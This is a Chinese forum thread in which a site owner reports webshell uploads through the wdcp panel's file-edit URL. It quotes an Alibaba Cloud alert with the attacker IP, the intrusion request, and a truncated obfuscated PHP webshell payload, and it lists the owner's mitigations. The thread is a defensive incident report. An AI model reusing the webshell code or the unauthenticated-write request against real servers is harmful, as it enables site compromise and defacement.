steven001

XXXX:8080/sys/filee?act=edit&t=f&p=/www/web/XXXXXX/public_html/upload/201612/1482310143.php

我也是經(jīng)常被掛馬
通過(guò)這個(gè)地址掛上來(lái)的。這個(gè)是wdcp的文件吧

steven001

回復(fù) 9# admin


肯定是沒(méi)有登陸掛馬。通過(guò)這個(gè)地址掛的，是阿里的 態(tài)勢(shì)感知 提示的。并且是能夠通過(guò)這個(gè)寫(xiě)入文件，以下是相關(guān)的信息。請(qǐng)盡快測(cè)試。謝謝！掛了好多馬，并且跟樓主一樣，在主頁(yè)寫(xiě)入了博彩的相關(guān)信息，并進(jìn)行了加密。javascript進(jìn)行解密

疑似攻擊者IP
222.247.108.16
入侵點(diǎn)URL

XXXXXX:8080/sys/filee?act=edit&t=f&p=/www/web/XXXXXXXX/public_html/upload/201612/1482310143.php
Http Payload

------WebKitFormBoundaryYlHudQYI8qGl61Qw
Content-Disposition: form-data; name="fn"

/www/web/XXXXXXX/public_html/upload/201612/1482310143.php
------WebKitFormBoundaryYlHudQYI8qGl61Qw
Content-Disposition: form-data; name="furl"

/sys/file?p=%2fwww%2fweb%2fwww_XXXXX_com%2fpublic_html%2fupload/201612&act=list&t=d
------WebKitFormBoundaryYlHudQYI8qGl61Qw
Content-Disposition: form-data; name="contents"

<?php error_reporting(0);$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";$id=$sr/*+/*+*/("ri"."d_"."si");$rn=$sr/*+/*+*/("em"."an"."er");$dn=$sr/*+/*+*/("em"."anr"."id");$od=$sr/*+/*+*/("ri"."dne"."po");$rd=$sr/*+/*+*/("ri"."dda"."er");$cd=$sr/*+/*+*/("ri"."deso"."lc");$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");$dlform='<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';$ulform='<form method="post" enc
Http user_agent

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
被寫(xiě)入的可疑文件路徑

/www/web/XXXXXXpublic_html/upload/201612/1482310143.php
事件說(shuō)明

云盾檢測(cè)到有疑似黑客在通過(guò)WEB漏洞或者WEBSHELL向服務(wù)器寫(xiě)入WEBSHELL文件或可疑的二進(jìn)制文件，請(qǐng)及時(shí)關(guān)注。
解決方案

請(qǐng)及時(shí)排查告警中的URL對(duì)應(yīng)的磁盤(pán)文件是否存在漏洞，或者是否是WEBSHELL，并及時(shí)修復(fù)WEB漏洞及刪除已存在的WEBSHELL文件。如果該URL接口是您網(wǎng)站正常的文件上傳接口，請(qǐng)?jiān)诳刂婆_(tái)點(diǎn)擊標(biāo)記為誤報(bào)或忽略按鈕。

steven001

目前我做了一個(gè)服務(wù)器策略，臨時(shí)解決。所有目錄不允許寫(xiě)入，upload目錄允許寫(xiě)入但是不允許執(zhí)行

steven001

回復(fù) 12# admin

你好，管理員，這是阿里態(tài)勢(shì)給出的提示，肯定是沒(méi)有登陸的。密碼我修改過(guò)，直接寫(xiě)入的文件。

steven001

linux系統(tǒng)也沒(méi)有新增用戶，系統(tǒng)漏洞也清理了。

steven001

回復(fù) 15# admin


wdcp的密碼我修改過(guò)。態(tài)勢(shì)里面提示了四十多條，所有的文件都是通過(guò)這個(gè)地址上傳上來(lái)的。并沒(méi)有干什么壞事，只是修改了主頁(yè)的信息，讓頁(yè)面回跳到首頁(yè)的時(shí)候跳到垃圾頁(yè)面。所有上傳的木馬全部經(jīng)過(guò)的加密處理。感覺(jué)這個(gè)是機(jī)器掃描直接植入的，而不是人工操作的。

steven001

我現(xiàn)在已經(jīng)吧wdcp修改了端口，也不知道什么原因，無(wú)法訪問(wèn)了，木馬文件我根據(jù)阿里的提示已經(jīng)刪除，先看一段時(shí)間，看是否還能上傳木馬文件。